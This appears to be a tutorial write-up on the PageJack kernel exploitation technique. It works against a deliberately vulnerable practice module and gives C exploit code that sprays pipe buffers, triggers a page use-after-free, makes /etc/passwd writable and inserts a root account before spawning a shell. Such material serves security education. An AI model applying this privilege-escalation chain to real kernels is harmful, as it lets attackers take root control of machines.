Linux Kernel Exploitation - PageJack
In this post, I will explain PageJack, a universal and data-only exploitation technique that turns an off-by-one bug into a page UAF. Download the handouts beforehand.
Analysis
The vulnerable LKM provides two commands: CMD_ALLOC
and CMD_WRITE
. These commands are used to allocate and write to an object defined as follows:
1
2
3
4
5
#define OBJ_SIZE 0x400
struct obj {
char buf[OBJ_SIZE];
};
Bugs
There is an obvious off-by-one bug in obj_write
:
1
2
3
4
5
6
7
8
9
10
static long obj_write(char *data, size_t size) {
if (obj == NULL || size > OBJ_SIZE) {
return -1;
}
if (copy_from_user(obj->buf, data, size) != 0) {
return -1;
}
obj->buf[size] = '\0';
return 0;
}
PageJack
PageJack is a technique that turns an off-by-one bug into a page UAF. It targets the array of struct pipe_buffer
allocated in alloc_pipe_info
:
1
2
3
4
5
6
7
8
9
10
// https://elixir.bootlin.com/linux/v6.13/source/fs/pipe.c#L815-L816
struct pipe_inode_info *alloc_pipe_info(void)
{
struct pipe_inode_info *pipe;
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
...
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
...
}
struct pipe_buffer
has a pointer to a struct page
as its first member:
1
2
3
4
5
6
7
8
// https://elixir.bootlin.com/linux/v6.13/source/include/linux/pipe_fs_i.h#L26-L32
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
Since sizeof(struct page)
is 0x40 bytes and we have an off-by-one primitive, we can overwrite the pointer with a 75% probability, redirecting it to a different page. Then, by closing the pipe, we can free a page that is still in use by another pipe, thereby triggering a page UAF.
PageJack is a very powerful technique that can bypass mitigations like CONFIG_CFI_CLANG and the upcoming CONFIG_SLAB_VIRTUAL.
Exploitation
First, we allocate the victim object near struct pipe_buffer
:
1
2
3
4
5
6
7
8
9
10
11
12
13
puts("[*] Spraying struct pipe_buffer");
int pipefds[NUM_PIPE_SPRAY][2];
for (int i = 0; i < NUM_PIPE_SPRAY / 2; i++) {
assert(pipe(pipefds[i]) != -1);
}
puts("[*] Allocating a victim object from kmalloc-1k");
obj_alloc();
puts("[*] Spraying struct pipe_buffer");
for (int i = NUM_PIPE_SPRAY / 2; i < NUM_PIPE_SPRAY; i++) {
assert(pipe(pipefds[i]) != -1);
}
Next, we write values to the allocated pipes. This step is necessary later on to identify the victim pipe:
1
2
3
4
5
6
puts("[*] Writting to pipes to allocate pages");
for (int i = 0; i < NUM_PIPE_SPRAY; i++) {
int val = 0xcafebabe + i;
assert(write(pipefds[i][1], &val, sizeof(val)) != -1);
assert(write(pipefds[i][1], "deadbeef", 8) != -1);
}
There are two reasons why we additionally write "deadbeef"
. First, writing more than 4 bytes prevents the page from being freed when we later read 4 bytes. If we write only 4 bytes, the page will be freed in pipe_read
:
1
2
3
4
5
6
7
8
// https://elixir.bootlin.com/linux/v6.13/source/fs/pipe.c#L343-L344
static ssize_t
pipe_read(struct kiocb *iocb, struct iov_iter *to)
{
...
if (!buf->len)
tail = pipe_update_tail(pipe, buf, tail);
The second reason is to overwrite the f_mode
member of struct file
in the final step. Since pipe_write
writes from offset + len
, and the offset of the f_mode
member is 0xc, we adjust the write position:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// https://elixir.bootlin.com/linux/v6.13/source/fs/pipe.c#L477-L485
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
...
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
ret = pipe_buf_confirm(pipe, buf);
if (ret)
goto out;
ret = copy_page_from_iter(buf->page, offset, chars, from);
Next, we perform the off-by-one write:
1
2
3
puts("[*] Overwitting pipe->bufs[0].page");
char zero[0x400] = {};
obj_write(zero, 0x400);
Next, we identify the victim pipe by reading from the pipe and checking if the value differs from the one we wrote:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
puts("[*] Locating the victim pipe");
int victim_pipefd = -1;
int origin_pipefd = -1;
for (int i = 0; i < NUM_PIPE_SPRAY; i++) {
int val;
assert(read(pipefds[i][0], &val, 4) != -1);
if (val != 0xcafebabe + i) {
victim_pipefd = i;
origin_pipefd = val - 0xcafebabe;
printf("[+] Found: victim_pipefd = %d, origin_pipefd = %d\n", victim_pipefd, origin_pipefd);
break;
}
}
if (victim_pipefd == -1) {
puts("[-] Failed to locate the victim pipe");
exit(0);
}
Next, we close one of the pipes that shares the same pointer to the page:
1
2
3
puts("[*] Closing the original pipe");
assert(close(pipefds[origin_pipefd][0]) != -1);
assert(close(pipefds[origin_pipefd][1]) != -1);
Next, we spray struct file
objects for /etc/passwd to make the freed page be used as a filp slab:
1
2
3
4
5
6
puts("[*] Spraying struct file of /etc/passwd");
int filefds[NUM_SPRAY_FILE];
for (int i = 0; i < NUM_SPRAY_FILE; i++) {
filefds[i]= open("/etc/passwd", O_RDONLY);
assert(filefds[i] != -1);
}
Finally, we use the victim pipe to overwrite the f_mode
member, making /etc/passwd writable, and then overwrite it (j9ep0CjBGivAnD5z6l5rr0
is MD5-encoded password with salt deadbeef
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
puts("[*] Overwitting f_mode");
int fake_f_mode = 0x84f801f;
assert(write(pipefds[victim_pipefd][1], &fake_f_mode, 4) != -1);
char payload[] = "root:$1$deadbeef$j9ep0CjBGivAnD5z6l5rr0:0:0:root:/root:/bin/sh\n";
printf("[*] Overwriting /etc/passwd with %s", payload);
for (int i = 0; i < NUM_SPRAY_FILE; i++) {
if (write(filefds[i], payload, sizeof(payload)) != -1) {
puts("[+] Success");
puts("[+] You can now log in as root with the password: cafebabe");
char *argv[] = {"/bin/sh", NULL};
execve(argv[0], argv, NULL);
}
}
By running this exploit, we can log in as a root user and see the flag:
You can use other methods, for example, Dirty Pagetable or Dirty Pipe, to achieve privilege escalation. Try modifying the above exploit to use these instead.
References
- Zhiyun Qian, Jiayi Hu, Jinmeng Zhou, Qi Tang and Wenbo Shen. 2024. PageJack: A Powerful Exploit Technique With Page-Level UAF. https://i.blackhat.com/BH-US-24/Presentations/US24-Qian-PageJack-A-Powerful-Exploit-Technique-With-Page-Level-UAF-Thursday.pdf
- arttnba3. 2023. 【CTF.0x08】D^ 3CTF2023 d3kcache: From null-byte cross-cache overflow to infinite arbitrary read & write. https://blog.arttnba3.cn/2023/05/02/CTF-0X08_D3CTF2023_D3KCACHE/